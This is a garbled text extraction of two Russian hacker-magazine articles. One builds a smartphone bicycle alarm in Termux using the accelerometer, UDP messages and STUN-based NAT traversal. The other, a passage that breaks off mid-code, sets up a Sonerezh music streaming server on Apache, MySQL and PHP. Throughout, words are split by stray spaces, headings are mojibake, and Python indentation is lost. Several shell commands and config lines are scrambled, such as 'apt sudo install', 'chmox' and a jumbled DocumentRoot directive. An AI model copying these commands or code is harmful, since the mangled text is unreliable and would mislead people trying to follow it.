пар синга выход ного потока с дат чика уско рения. Во-вто рых, уско рение
выводит ся в виде его ком понен тов по трем прос транс твен ным коор динатам.
Если ты еще не забыл школь ный курс физики, то уже сооб разил, что сум ма
квад ратов этих величин даст нам квад рат уско рения. Его-то мы и будем
вычис лять для опре деле ния дви жения телефо на.

Ес ли в пре дыду щей коман де опус тить параметр , то дан ные с дат чика

будут выводить ся неп рерыв но с интерва лом в одну секун ду. Интервал, в свою
оче редь, мож но изме нить, добавив ключ . Этим мы
и вос поль зуем ся в прог рамме. Дат чик уско рения дос таточ но чувс тви тель ный,
что бы опре делить не толь ко переме щение тво его девай са, но и виб рацию
от лег кого уда ра по сто лу, на котором лежит устрой ство.

-n

-d <число миллисекунд>

ÏÐÅÄÂÀÐÈÒÅËÜÍÀß ÏÎÄÃÎÒÎÂÊÀ

Пи сать код мож но пря мо на телефо не, уста новив любой тек сто вый редак тор,
нап ример Vim или Nano. Но про ще делать это на компь юте ре, а затем отпра- 
вить прог рамму по SSH на телефон. Для это го в файл 

 нуж но положить свой ключ SSH. Пос ле чего в кон соли

Termux запус тить демон sshd, вве дя одно имен ную коман ду. Учти, что демон
sshd слу шает нес тандар тный порт 8022, пос коль ку у него нет при виле гий
супер поль зовате ля.

~/.ssh/
authorized_keys

Те перь мож но с ПК получить дос туп к телефо ну коман дой 

. Обра ти вни мание, что имя поль зовате ля мож но не ука- 

зывать, Termux при мет любое. Узнать IP-адрес телефо на в тво ей локаль ной
сети мож но, вве дя коман ду  в кон соли Termux. Если ты поль зователь

Windows, то для под клю чения исполь зуй . Для пересыл ки фай ла
прог раммы из текуще го катало га на компь юте ре в Termux дос таточ но в тер- 
минале на ком пе ввес ти такую коман ду:

ssh <IP-адрес 
телефона> -p 8022

ifconfig
кли ент Putty

cat program.py | ssh <IP-адрес телефона> -p 8022 "cat > program.py"

для Linux или такую для Windows:

set PATH=C:\путь\до\папки\putty;%PATH%
pscp -P 8022 program.py <IP-адрес телефона>

Ес ли телефон под клю чен к домаш ней сети Wi-Fi, Termux не очень отзывчив
при соеди нении по SSH. По всей видимос ти, это свя зано с перехо дом
передат чика в телефо не в энер госбе рега ющий режим. Если ты тоже стол- 
кнешь ся с такой проб лемой, ее мож но решить коман дой 

, выпол ненной от рута. А если таких прав нет, ты можешь

под клю чить ся к телефо ну либо по USB-кабелю, вклю чив режим USB-модема,
либо по Wi-Fi, переве дя телефон в режим точ ки дос тупа.

iw dev wlan0 set 
power_save off

Продолжение статьи →

mailto:rexby@list.ru
https://www.youtube.com/watch?v=uGTCpmnd4v4
http://termux.com/
http://xakep.ru/2020/06/10/hackerphone
https://archive.org/details/termux-repositories-legacy
https://www.chiark.greenend.org.uk/~sgtatham/putty


ЗМЕЙ-СТРАЖНИК
СИГНАЛИЗАЦИЯ ДЛЯ ВЕЛОСИПЕДА

ИЗ СТАРОГО СМАРТФОНА НА ANDROID

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÏÈØÅÌ ÊÎÄ

Прог рамма сос тоит из двух час тей: кли ент ской и сер верной. Кли ент будет
работать на телефо не, зак реплен ном на велоси педе, и пери оди чес ки отправ- 
лять UDP-пакеты сер веру — телефо ну, который находит ся рядом с тобой.
В содер жимом пакета может быть либо KNOCK, либо ALARM. Получив сооб- 
щение KNOCK, сер вер будет знать, что кли ент работа ет штат но и не име ет
проб лем с сетью. В слу чае сооб щения ALARM будем про игры вать заранее
под готов ленный файл со зву ком сирены.

Итак, прис тупа ем к написа нию кли ент ской час ти прог раммы, которую
назовем . Сна чала сде лаем импорт необ ходимых модулей.client_alarm.py

#!/data/data/com.termux/files/usr/bin/env python3

 import socket
 import json

    from subprocess import Popen, PIPE
 import os
 import time

   from nat import nat_traversal

Пер вая стро ка — это шебанг. Что бы каж дый раз не писать такой длин ный
путь, можешь исполь зовать стан дар тный для Linux ,
а потом выз вать ути литу . Она испра- 

вит путь до прог раммы  на под ходящий для Termux. Далее зададим необ- 

ходимые кон стан ты.

/usr/bin/env python3
termux-fix-shebang client_alarm.py
env

  AVERAGE = 10
  KNOCK_DELAY = 5
  SENSOR_NAME = 'BMI160 Accelerometer'

  ACCELEROMETER_DELAY = 20
  ACCELERATION_THRESHOLD = 0.1

  DELAY_AFTER_ALARM = 1
  RPORT = 0
  RHOST = ''

Здесь  — чис ло изме рений уско рения, по которым мы будем вычис- 
лять сред нее зна чение. Усредне ние нуж но для более ста биль ной работы,
что бы исклю чить лож ные сра баты вания сиг нализа ции.  — задер- 

жка в секун дах меж ду «отсту кива нием» на сер вер.  —
задер жка в мил лисекун дах, которая будет переда на коман де .

 — важ ный параметр, который опре деля ет порог

сра баты вания сиг нализа ции. Если сде лать его слиш ком малень ким, то чувс- 
тви тель ность воз растет, но при этом мож но получить лож ные сра баты вания.
Рекомен дую подоб рать этот параметр экспе римен таль но так, что бы добить ся
нуж ной тебе чувс тви тель нос ти.  — пауза пос ле каж дого
сра баты вания сиг нализа ции. Она нуж на, что бы не «засыпать» сер вер пакета- 
ми с сиг налом ALARM.  и  — адрес, куда будем отправ лять

пакеты.

AVERAGE

KNOCK_DELAY
ACCELEROMETER_DELAY

termux-sensor
ACCELERATION_THRESHOLD

DELAY_AFTER_ALARM

RHOST RPORT

И тут воз ника ет проб лема: что бы орга низо вать ком муника цию двух
устрой ств по сети, хотя бы одно из них дол жно иметь пуб личный (еще говорят
«белый») IP-адрес. Для это го нуж но либо арен довать VPS-сер вер, либо
заказать соот ветс тву ющую услу гу у тво его интернет-про вай дера. Пос ле чего
мож но обес печить пря мую видимость устрой ств, под клю чив их к собс твен- 
ному сер веру, нап ример через OpenVPN или Wireguard. Как это сде лать,
«Хакер» писал . Имен но так я и сде лал. Но если у тебя еще нет арен- 
дован ного сер вера, то не спе ши расс тра ивать ся. Я рас ска жу, как соеди нить
два находя щих ся за NAT устрой ства по сети нап рямую.

здесь

Ïðîõîäèì ñêâîçü ñòåíó

NAT (network address translation) — это механизм тран сля ции сетевых адре- 
сов, который поз воля ет нес коль ким устрой ствам под клю чать ся к хос там
в интерне те, исполь зуя один общий IP-адрес. На сегод няшний день имен но
тех нология NAT дает воз можность более чем 20 мил лиар дам устрой ств
по все му миру иметь дос туп в гло баль ную сеть, при том что «белых», то есть
мар шру тизи руемых в интерне те, IPv4-адре сов все го чуть более четырех мил- 
лиар дов.

У раз ных про вай деров NAT может быть нас тро ен по-раз ному. Для соеди- 
нения устрой ств мы будем исполь зовать STUN (Session Traversal Utilities for
NAT) — спе циаль ный сетевой про токол, который поз воля ет кли енту за NAT
узнать свой внеш ний IP-адрес, а так же спо соб тран сля ции пор та во внеш ней
сети. В дан ном слу чае за нас все сде лает фун кция  модуля

, который мы уста нови ли ранее.

get_ip_info()
pystun3

При вызове дан ной фун кции будет сде лано нес коль ко зап росов на раз ные
адре са сер веров STUN. В отве тах на зап росы сер вер вер нет информа цию
о том, с какого IP-адре са и пор та к нему обра щались. Для наших целей дос- 
таточ но, что бы при обра щении на опре делен ный порт раз ных хос тов сети
с одно го и того же внут ренне го пор та про вай дер наз начал нам один и тот же
внеш ний порт. Такой тип NAT называ ется Restricted NAT. Если же при обра- 
щении к раз ным хос там каж дый раз будут наз начать ся раз ные внеш ние пор- 
ты, то под клю чение извне к такому устрой ству вызовет серь езные труд ности.
Такой тип NAT называ ется Symmetric NAT.

Из про верен ных мной опе рато ров «боль шой чет верки» сим метрич ный NAT
ока зал ся толь ко у «Билай на». Так что если ты обла датель сим-кар ты дру гих
опе рато ров свя зи, то все дол жно получить ся.

INFO

Статья про раз ные типы NAT и спо собы их обхо да

Итак, для пря мого соеди нения двух телефо нов напишем фун кцию
. Ее мож но помес тить в отдель ный файл , так как эта

фун кция будет общая для обе их прог рамм — кли ент ской и сер верной. Пос ле
чего необ ходимо импорти ровать фун кцию коман дой 

.

nat_traversal nat.py

from nat import 
nat_traversal

 def nat_traversal():
       from socket import socket, AF_INET, SOCK_DGRAM, timeout
  import stun
  import json
  import os
  import sys
  import subprocess
  import time

   LPORT = 65000
   LHOST = '0.0.0.0'

    nat = stun.get_ip_info(LHOST, LPORT)
   nat_json = json.dumps(nat)
 os.system("clear")
 os.system(f"echo '{nat_json}' | qrencode -t ansiutf8")
 print(f"Your host parameters: {nat}")

 os.system("termux-clipboard-set '' ")
 print("Please, copy remote host info to your clipboard ...")
   remote_nat = ''
    for i in range(12):
     cb = subprocess.getoutput('termux-clipboard-get')
   try:

       remote_nat = json.loads(cb)
      if remote_nat:

       break
    except json.decoder.JSONDecodeError:
     pass
   time.sleep(5)
 else:
    print("Error: can't get remote host info", file=sys.stderr)
   sys.exit(1)

 print(f"Got remote host parameters: {remote_nat}")
     fnat_type, rip, rport = remote_nat

    sock = socket(AF_INET, SOCK_DGRAM)
  sock.bind((LHOST, LPORT))
 sock.settimeout(5)

    for i in range(12):
   try:

       sock.sendto(b'NAT\n', (rip, rport))
     sock.recv(1024)
    except timeout:
     pass
   else:

       sock.sendto(b'NAT\n', (rip, rport))
     break
 else:
    print(f"Error: can't connect to remote host {rip}:{rport}", file=
sys.stderr)
   sys.exit(1)

 print(f"Connection established with {rip}:{rport}")
 sock.settimeout(None)
    return rip, rport, sock

Фун кция  пер вым делом вызыва ет фун кцию 

модуля , которая вер нет три зна чения: тип NAT, внеш ний IP-адрес

и внеш ний порт, соот ветс тву ющий нашему внут ренне му пор ту LPORT. Пос ле
опре деле ния внеш него IP-адре са и пор та на обо их телефо нах необ ходимо
про извести обмен этой информа цией меж ду устрой ства ми. Для это го будем
выводить в кон соль резуль тат работы фун кции  в виде QR-кода.

nat_tarversal get_ip_info
pystun3

get_ip_info
В этом нам поможет уста нов ленная ранее ути лита qrencode. Пос ле вывода

QR-кода будем ожи дать дан ных о вто ром устрой стве в буфере обме на.
Для это го пред варитель но очис тим его с помощью 

. Если в течение при мер но минуты в буфере не появит ся нуж ных дан ных, то

фун кция выведет ошиб ку и завер шит работу прог раммы. Таким обра зом, что- 
бы соеди нить по сети два наших устрой ства, на каж дом из них пос ле запус ка
прог раммы необ ходимо с помощью ска нера про читать QR-код с экра на дру- 
гого телефо на.

termux-clipboard-set 
''

Для этих целей можешь исполь зовать 
или ска чать . В нас трой ках при ложе ния пос тавь галоч ки
«Копиро вать в буфер обме на» и «Авто запуск ска нера» для удобс тва исполь- 
зования. Недос таток дан ного метода в том, что в момент под клю чения оба
устрой ства дол жны рас полагать ся рядом, что бы иметь воз можность отска- 
ниро вать QR-коды. Ты без тру да можешь исполь зовать любой дру гой канал
для обме на, нап ример СМС с помощью команд  и 

.

опен сор сный ска нер с F-Droid
ана лог с Play Market

termux-sms-send termux-
sms-list

Ес ли дан ные о вто ром хос те были успешно про чита ны из буфера обме на,
попыта емся уста новить соеди нение с ука зан ным хос том в течение минуты.
Для это го пери оди чес ки будем отправ лять в адрес вто рого хос та UDP-пакеты
со стро кой NAT. Пер вые отправ ленные пакеты с одно го из устрой ств (кли ента
или сер вера) сна чала не будут дос тигать наз начения, пос коль ку в таб лице
NAT на при нима ющей сто роне еще нет пра вила, опре деля юще го, куда
переда вать при шед шие пакеты. Но как толь ко со вто рой сто роны будет
передан хотя бы один пакет, двус торон няя связь будет уста нов лена. Фун кция

 отчи тает ся об этом выводом сооб щения Connection

established with host:port и вер нет в основную прог рамму адрес и порт уда лен- 
ного хос та, а так же соз данный ею сокет.

nat_traversal

Сто ит ска зать, что соеди нение устрой ств «нап рямую», минуя про межу точ- 
ные хос ты, час то исполь зует ся в IP-телефо нии, нап ример ког да ты говоришь
по WhatsApp. Такой под ход поз воля ет сни зить наг рузку на сер вер, а так же
сущес твен но умень шить сетевой мар шрут для пакетов дан ных.

В основной прог рамме вызыва ем фун кцию , которая
пре дот вра щает «засыпа ние» при ложе ния Termux. Затем соз дадим сокет,
исполь зуя пару , а если она не задана, то вызовем толь ко что

написан ную фун кцию :

termux-wake-lock

RHOST:RPORT
nat_traversal()

os.system('termux-wake-lock')

   if RHOST and RPORT:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
else:
     RHOST, RPORT, sock = nat_traversal()

Да лее добавим в кли ент скую часть прог раммы фун кцию для получе ния зна- 
чения уско рения.

 def sensor_get():
   one_measure = ''
   while not one_measure:
      for i in range(9):
      one_measure += p.stdout.readline().decode('utf-8')
       if one_measure == '{}\n':

        one_measure = ''
      break
    if one_measure:

       data = json.loads(one_measure)
       a = data[SENSOR_NAME]['values']

  return a

Фун кция  получа ет зна чение уско рения из стан дар тно го вывода

коман ды , которую мы запус тим в отдель ном потоке:

sensor_get()
termux-sensor

os.system('termux-sensor -c')
    

    
p = Popen(['/data/data/com.termux/files/usr/bin/termux-sensor', '-s',
SENSOR_NAME, '-d', str(ACCELEROMETER_DELAY)], stdin=PIPE, stdout=PIPE
)

Вы зов  под готовит дат чики в слу чае, если рань ше работа

с ними была завер шена некор рек тно.

termux-sensor -c

Да лее в бес конеч ном цик ле мы будем получать  изме рений с дат- 

чика уско рения и каж дый раз будем вычис лять  — раз ницу текуще го и пре- 

дыду щего зна чений (если быть точ ным,  — это квад рат раз ности век торов
уско рений: текуще го и пре дыду щего). Вычис ленные зна чения  будем скла- 

дывать в перемен ную . Если пос ле усредне ния (

) уско рение пре высит пре дел, задан ный

в , то на сер вер будет отправ лена стро ка ALARM
и сде лана задер жка, что бы дать сер веру вре мя отре аги ровать на при шед шее
сооб щение.

AVERAGE
da

da
da

acceleration acceleration
/= AVERAGE
ACCELERATION_THRESHOLD

Ес ли же с телефо ном ничего не про исхо дит, то все рав но по про шес твии
вре мени  мы будем отправ лять на сер вер стро ку KNOCK, что бы

он «знал», что сиг нализа ция и сеть работа ют исправ но. В слу чае пря мого
соеди нения устрой ств пери оди чес кая отправ ка пакетов на сер вер, кро ме
все го про чего, необ ходима, что бы из таб лицы NAT про вай дера не исчезло
пра вило тран сля ции, соз данное фун кци ей . В ответ сер вер

будет отправ лять сооб щение OK, которое так же слу жит для под держа ния
пра вила NAT на дру гой сто роне.

KNOCK_DELAY

nat_traversal

  a_prev = sensor_get()
print('sensor ready!')

  t_prev = time.time()

 while True:
 try:
     acceleration = 0
      for i in range(AVERAGE):

       a = sensor_get()
                da = sum( (ai - a_prev_i)**2 for ai, a_prev_i in zip(a, a_prev)

)
       acceleration += da

       a_prev = a
     acceleration /= AVERAGE
      if acceleration > ACCELERATION_THRESHOLD:

       sock.sendto(b'ALARM\n', (RHOST, RPORT))
     print('ALARM')
     time.sleep(DELAY_AFTER_ALARM)
     t_cur = time.time()
        if t_cur - t_prev > KNOCK_DELAY:

       sock.sendto(b'KNOCK\n', (RHOST, RPORT))
     print('KNOCK')

       t_prev = t_cur
  except KeyboardInterrupt:
   break
p.send_signal(2)
sock.close()

За вер шить работу прог раммы мож но, нажав Ctrl + C. Пос ле чего мы вый дем
из бес конеч ного цик ла чте ния дан ных с дат чика уско рения, а про цес су, опра- 
шива юще му дат чик, будет пос лан сиг нал .2 (SIGINT)

На этом кли ент ская прог рамма завер шена. Оста лось написать сер верную
часть, которую мы назовем .server_alarm.py

ÑÅÐÂÅÐÍÀß ×ÀÑÒÜ

Нач нем с импорта модулей и задания кон стант.

#!/data/data/com.termux/files/usr/bin/env python3

 import threading
 import socket
 import time
 import os

   from nat import nat_traversal

   LPORT = 0
  LHOST = '0.0.0.0'

  WAIT_FOR_KNOCK_TIME = 15

  DIR_NAME = '/data/data/com.termux/files/home/alarm/'
  ALARM_FILE_NAME = 'alarm_short.mp3'

  LINK_LOSS_FILE_NAME = 'link_loss.mp3'
  LINK_RESTORE_FILE_NAME = 'link_restored.mp3'

  KNOCK_FLAG = 0
  KNOCK_WARN = 1

Здесь, по ана логии с кли ент ской прог раммой, можешь задать ,

отличный от нуля, и , тог да сер вер будет слу шать задан- 
ный порт на всех сетевых интерфей сах. Либо оставь  нулевым, тог да

будет выз вана фун кция . Параметр 

зада ет интервал, в течение которо го дол жен пос тупить оче ред ной пакет
KNOCK от кли ента. Если пакет не при дет вов ремя, будет сде лано опо веще- 
ние, что связь с кли ент ской прог раммой потеря на.

LPORT
LHOST = '0.0.0.0'

LPORT
nat_traversal WAIT_FOR_KNOCK_TIME

Па раметр  зада ет путь к пап ке со зву ковы ми фай лами,
а ,  и  —

наз вания самих фай лов для опо веще ния о тре воге, потере и вос ста нов лении
свя зи соот ветс твен но.

DIR_NAME
ALARM_FILE_NAME LINK_LOSS_FILE_NAME LINK_RESTORE_FILE_NAME

Скрин шот с телефо на, на котором работа ет сер верный скрипт

При нимать UDP-пакет будем в отдель ном потоке. Для это го соз дадим
класс — нас ледник :threading.Thread

 class UDP_receive(threading.Thread):
  def run(self):
    global KNOCK_FLAG
    while True:

        data, addr = sock.recvfrom(1024)
        if data == b'KNOCK\n':

          print(data.decode('utf-8'), end = '')
         KNOCK_FLAG = 0

        sock.sendto(b'OK\n', addr)
        elif data == b'ALARM\n':

          print(data.decode('utf-8'), end = '')
        sock.sendto(b'OK\n', addr)

           os.system('termux-media-player play ' + DIR_NAME +
ALARM_FILE_NAME)
     else:
       print('Unknown data:')
       print(data.decode('utf-8'))

В слу чае при ема сооб щения KNOCK будем очи щать флаг , а в

слу чае получе ния ALARM сра зу бить тре вогу: вос про изво дить файл со зву ком
сирены с помощью коман ды .

KNOCK_FLAG

termux-media-player play
В основной час ти прог раммы вызовем , что бы в фоне

или при вык лючен ном экра не наше при ложе ние оста валось активно. Соз- 
дадим сокет и поток, в котором будем его слу шать.

termux-wake-lock

os.system('termux-wake-lock')

   if LHOST and LPORT:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  sock.bind((LHOST, LPORT))
else:
     RHOST, RPORT, sock = nat_traversal()

  thread = UDP_receive()
thread.start()

Да лее соз дадим основной цикл прог раммы, вый ти из которо го мож но c
помощью ком бинации Ctrl + C.

print('Starting alarm server... ')
 while True:

 try:
     KNOCK_FLAG = 1
    time.sleep(WAIT_FOR_KNOCK_TIME )
    if KNOCK_FLAG:

       KNOCK_WARN = 1
     print('Связь потеряна')

         os.system('termux-media-player play ' + DIR_NAME +
LINK_LOSS_FILE_NAME)
   else:

      if KNOCK_WARN:
         KNOCK_WARN = 0

       print('Связь установлена')
           os.system('termux-media-player play ' + DIR_NAME +

LINK_RESTORE_FILE_NAME)
  except KeyboardInterrupt:
   break

sock.close()
 os.kill(thread._native_id, 15)

Флаг  уста нав лива ется, если поль зователь уже был опо вещен
о потере свя зи. Ког да связь вос ста новит ся (если при дет оче ред ной пакет
KNOCK), поль зователь получит сооб щение об этом. В кон це прог раммы зак- 
роем сокет и «убь ем» про цесс .

KNOCK_WARN

UDP_receive()
Все, обе час ти прог раммы готовы. Копируй их на телефо ны, не забыв дать

пра ва на выпол нение коман дами  и 

. Так же запиши на оба устрой ства файл , а в пап ку
 на телефо не-сер вере положи зву ки тре воги и опо веще ний.

Можешь сох ранить прог раммы в пап ку , пред варитель но ее соз- 

дав:

chmox +x client_alarm.py chmod +x 
server_alarm.py nat.py
DIR_NAME

.shortcuts

 mkdir -p /data/data/com.termux/files/home/.shortcuts 
700 chmod -R /data/data/com.termux/files/home/.shortcuts 

В таком слу чае мож но будет помес тить на рабочий экран телефо на вид жет
с нашей прог раммой для быс тро го запус ка. Для это го вос поль зуйся меню
нас трой ки вид жетов в тво ем телефо не.

При меры двух Termux-вид жетов для быс тро го запус ка прог рамм

ÂÛÂÎÄÛ

Ду маю, ты убе дил ся, что Termux в уме лых руках — это мощ ный инс тру мент
для прог рамми рова ния Android-смар тфо на. Код прог рамм и зву ковые фай лы
я выложу на . Исполь зуй их как готовое решение или допол ни нуж ными
воз можнос тями. Нап ример, с помощью  получай GPS-коор- 

динаты и отправ ляй их на сер вер. Либо исполь зуй вмес то дат чика уско рения
дат чик осве щен ности или приб лижения.

GitHub
termux-location

Кро ме того, мож но в слу чае тре воги делать фото с камеры (для это го есть
скрипт ). А так же совер шать зво нок на задан ный номер

телефо на, исполь зуя , или отправ лять SMS (
). Пря мой спо соб соеди нения устрой ств, находя щих ся за NAT,

можешь сме ло исполь зовать в дру гих сво их сетевых при ложе ниях. В общем,
давай волю сво ей фан тазии и не бой ся экспе римен тировать. Уда чи!

termux-camera-photo
termux-telephony-call termux-

sms-send

https://xakep.ru/2016/10/07/vpn-review
https://www.cs.cornell.edu/projects/Stunt/draft-takeda-symmetric-nat-traversal-00.txt
https://f-droid.org/packages/de.t_dankworth.secscanqr
https://play.google.com/store/apps/details?id=com.gamma.scan
https://github.com/ku4in/alarm
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ТРЮКИ

Се год ня поч ти ник то не ска чива ет музыку для прос лушива- 
ния — на сме ну MP3-биб лиоте кам приш ли стри мин говые
сер висы вро де YouTube Music, Apple Music и Spotify. Они
очень удоб ные, прав да в боль шинс тве сво ем — плат ные.
А что, если запус тить свой собс твен ный, пер сональ ный
стри мин говый сер вис, без або нент ской пла ты и рек ламы,
зато с блек-дже ком и блек-металом? Если идея тебе пон- 
равилась, то в этой статье я под робно рас ска жу, как это сде- 
лать.

Ме лома ны зна ют, что сос тавлять MP3-кол лекцию — доволь но тру доем кое
занятие: нуж но най ти сайт с музыкой, ска чать ком позиции (как пра вило, заг- 
ружа ется толь ко одна ком позиция за один раз), попытать ся вос про извести,
обна ружить, что есть проб лемы с отоб ражени ем ID3-тегов или с фор матом,
пре обра зовать эти фай лы, что бы их мож но было вос про изво дить в любимом
про игры вате ле… В общем, нуж но пот ратить мно го вре мени. Стри минг-сер- 
висы реша ют эти проб лемы: нашел нуж ные ком позиции, добавил их в плей- 
лист — и нас лажда ешь ся вос про изве дени ем. Собс твен но, незачем обо всем
этом рас ска зывать — все и так всё понима ют. Луч ше покажу, как соз дать
собс твен ный стри минг-сер вис.

ÈÑÏÎËÜÇÓÅÌ ÃÎÒÎÂÎÅ

Оче вид но, мы не будем писать собс твен ный сер вис с нуля. Вмес то это го
пред лагаю уста новить бес плат ное при ложе ние Sonerezh, поз воля ющее орга- 
низо вать пол ноцен ный мно гополь зователь ский стри минг-сер вис. При ложе- 
ние написа но на PHP, а поэто му его исходный код пол ностью открыт. Нас- 
трой ка сер виса будет про демонс три рова на на базе Ubuntu 21.10 — пос-
ледней вер сии убун ты на дан ный момент.

Как обыч но, уста нав лива ем суповой набор — Apache, MySQL, PHP:

apt sudo install apache2 
sudo a2enmod rewrite 

apt sudo install mysql-server 

Вто рая коман да вклю чает  — что бы ты потом не ломал голову,
почему переза пись URL не работа ет. А вот с уста нов кой PHP будет слож нее,
чем обыч но. Дело в том, что в сос тав Ubuntu 21.10 вхо дит PHP 8.0,
но Sonerezh на этой вер сии работать отка зал ся, поэто му уста новим сра зу
про верен ную вер сию — 7.2. Пусть она и не самая новая, зато все гаран- 
тирован но будет работать.

mod_rewrite

Вво дим коман ды:

sudo apt-get install software-properties-common 
sudo add-apt-repository ppa:ondrej/php –y 

Ско рее все го, ты с ними зна ком. А если нет, то они добав ляют репози торий
, содер жащий раз личные вер сии PHP. Далее уста нав лива ем

PHP и необ ходимые рас ширения:
ppa:ondrej/php

sudo apt-get install php7.2 php7.2-mysql php7.2-intl php7.2-cli php7.
2-gd php7.2-mbstring php-pear php7.2-curl php7.2-mysqlnd php7.2-
mcrypt git ffmpeg 

Вер сию PHP нуж но ука зывать обя затель но, ина че уста новит ся 8-я вер сия
из дефол тно го репози тория Ubuntu. Пакеты  и , хотя и не име ют

отно шения к PHP, при годят ся для нор маль ной работы и обновле ния Sonerezh.

git ffmpeg

Те перь будем все это нас тра ивать. Пер вым делом нуж но соз дать поль- 
зовате ля БД. Про цеду ра стан дар тная. Сна чала вво дим коман ду

sudo mysql_secure_installation 

Этот скрипт выпол няет минималь ную нас трой ку безопас ности сер вера БД —
что бы тебя ник то не хак нул. Хак нуть все рав но хак нут, но так ты не поз волишь
сде лать это пер вому попав шемуся школь нику. Что отве чать на воп росы
скрип та, показа но на сле дующих скри нах.

Бе зопас ная нас трой ка MySQL

Бе зопас ная нас трой ка MySQL. Про дол жение

За тем нуж но соз дать базу дан ных для Sonerezh и поль зовате ля для этой БД:

mysql –u root –p 

Пос ле того как уви дишь приг лашение , вве ди сле дующие коман ды:mysql>

  create database sonerezh;
     create user sonerezh@localhost identified by 'Secret2022';
     grant all on sonerezh.* to sonerezh@localhost;
      

 
alter user sonerezh@localhost identified with mysql_native_password
by 'Secret2022';

 flush privileges;
exit

Нес коль ко замеча ний. Во-пер вых, если ты дума ешь, что зря все это чита ешь,
пос коль ку в сети где-то лежит ману ал по нас трой ке Sonerezh, то нет, не зря:
в нем есть ошиб ка, свя зан ная с исполь зовани ем ста рой вер сии MySQL (до
вер сии 5.7). В новой вер сии при веден ные в том руководс тве опе рато ры
работать не будут. Во-вто рых, здесь я задал оди нако вое имя для базы дан ных
и поль зовате ля — это необя затель но. Ты можешь ука зать раз личные име на,
как тебе будет угод но. Пароль для нового поль зовате ля ( _),

разуме ется, нуж но ука зать дру гой. В-треть их, опе ратор  нужен,

если у тебя MySQL 8.0 (в Ubuntu 21.10 как раз эта вер сия), ина че ты не смо- 
жешь под клю чить ся к БД через PHP, сле дова тель но, и Sonerezh не смо жет
это сде лать. Это го тоже, кста ти, в офи циаль ном ману але нет.

Secret2022
alter user

С MySQL все. Теперь перей дем к Apache и PHP. Открой файл 

. Най ди в нем дирек тиву memory_limit и изме ни ее таким
обра зом:

/etc/php/7.
2/apache2/php.ini

  memory_limit = 256M;

С помощью это го дей ствия мы выделя ем память, дос тупную PHP-скрип там,
выпол няемым модулем Apache. 256 Мбайт пока будет дос таточ но, в будущем,
воз можно, это зна чение при дет ся уве личить. Все зависит от наг рузки на твой
стри минг-сер вис и раз мера его меди ате ки.

Соз дай в катало ге  файл  со сле дующим кон- 

тентом:

/var/www/html info.php

<?php
phpinfo();
?>

Пе реза пус ти «Апач»:

sudo systemctl restart apache2 

От крой бра узер и вве ди URL . Если ты уви дишь

то же самое, что показа но на скрин шоте ниже, зна чит, ты все сде лал пра виль- 
но. Осо бое вни мание уде ли вер сии PHP — она дол жна быть 7.2. На вся кий
слу чай убе дись, что зна чение дирек тивы  (оно при водит ся

в выводе скрип та ) при мени лось.

http://localhost/info.php

memory_limit
info.php

ÓÑÒÀÍÎÂÊÀ SONEREZH È ÈÌÏÎÐÒ ÌÓÇÛÊÈ

Те перь наш сер вер пол ностью готов для уста нов ки самого стри минг-при- 
ложе ния. Вве ди сле дующие коман ды:

cd /var/www/html 
 sudo rm *

wget https://github.com/Sonerezh/sonerezh/releases/download/v1.2.6/
sonerezh-1.2.6.zip 
unzip sonerezh-1.2.6.zip 

Так же нам понадо бит ся пап ка  для хра нения музыки. Соз дадим ее

в пап ке , но в реаль ном про екте луч ше выделить для хра нения меди- 
ате ки пап ку за пре дела ми :

music
sonerezh

DocumentRoot

sudo mkrdir /var/www/html/sonerezh/music 

Не забыва ем изме нить пра ва дос тупа:

cd /var/www 
sudo chown –R www-data:www-data *

Сер вер готов к уста нов ке Sonerezh

Ре пози торий кло ниро ван

Те перь нуж но нем ного нас тро ить Apache. Если хочешь поп робовать Sonerezh
на локаль ном узле (или в вир туал ке), изме ни зна чение 

и добавь дирек тиву  в фай ле 
:

DocumentRoot
Directory /etc/apache2/sites-available/

000-default.conf

 / / / /DocumentRoot var www html sonerezh
<  / / / /Directory var www html sonerezh/> 

 Options FollowSymLinks
 AllowOverride All

</ > Directory

Ес ли же у тебя VDS и есть домен ное имя, не забудь ука зать дирек тиву
ServerName (пусть это будет ):example.com

 .ServerName example com

Пос ле это го сно ва переза пус ти Apache. Открой бра узер и вве ди или 

 (если ты собира ешь про ект на локаль ном сер вере), или 

 (если ты исполь зуешь VDS). Ты уви дишь стра нич ку
инстал лятора. Ука жи дан ные для дос тупа к базе дан ных, а так же дан ные
для вхо да и пап ку, в которой будет хра нить ся музыка.

http://
localhost http://
твое_доменное_имя

Дос туп к БД

Дан ные для вхо да и пап ка с музыкой

Вход в Sonerezh

Ты уви дишь экран для дос тупа к Sonerezh. Не спе ши вхо дить. Сна чала заг- 
рузим нем ного музыки. Помес ти музыкаль ные фай лы в пап ку 

. Фай лы могут быть орга низо ваны в пап ки. Если фай лов

не очень мно го, тог да все дей ствия мы можем выпол нять в админке. А вот
если меди ате ка при лич ная, то луч ше все делать через кон соль — хотя бы
по той при чине, что в нас трой ках PHP обыч но нет огра ниче ния на вре мя
выпол нения кон соль ных скрип тов.

/var/www/html/
sonerezh/music

Им порти ровать один файл мож но так:

sonerezh/app $ Console/cake sonerezh import /home/user/Music/file.mp3 

Для импорта всей пап ки исполь зует ся дру гая коман да:

sonerezh/app $ Console/cake sonerezh import /home/user/Music/an-album 

Для рекур сивно го импорта нуж но добавить параметр :-r

sonerezh/app $ Console/cake sonerezh import -r /home/user/Music 

Ко неч но, мож но зай ти в Sonerezh, нажать зна чок с шес терен кой, а затем —
кноп ку Database update. Пос ле обновле ния базы дан ных ты уви дишь спи сок
аль бомов и исполни телей. Даль ше ты можешь работать с при ложе нием как с
обыч ным стри минг-сер висом: соз давать плей лис ты, слу шать музыку. Думаю,
на этом не сто ит оста нав ливать ся.

Нас трой ки Sonerezh

Спи сок аль бомов и исполни телей

ÑÎÇÄÀÍÈÅ ÍÎÂÛÕ ÏÎËÜÇÎÂÀÒÅËÅÉ

Эк ран Users поз воля ет добавить новых поль зовате лей. Сущес твен ный недос- 
таток Sonerezh сос тоит в том, что поль зовате ли не могут зарегис три ровать ся
сами. Пред полага ется, что админ зарегис три рует поль зовате ля и передаст
ему дан ные для вхо да.

Эк ран Users

Но это нем ного не впи сыва ется в кон цепцию пол ноцен ного онлайн-сер виса.
К счастью, делу лег ко помочь. Зарегис три ровать нового поль зовате ля
в Sonerezh мож но с помощью сле дующе го PHP-кода:

    $email = filter_input(INPUT_POST, 'email',
FILTER_SANITIZE_MAGIC_QUOTES);

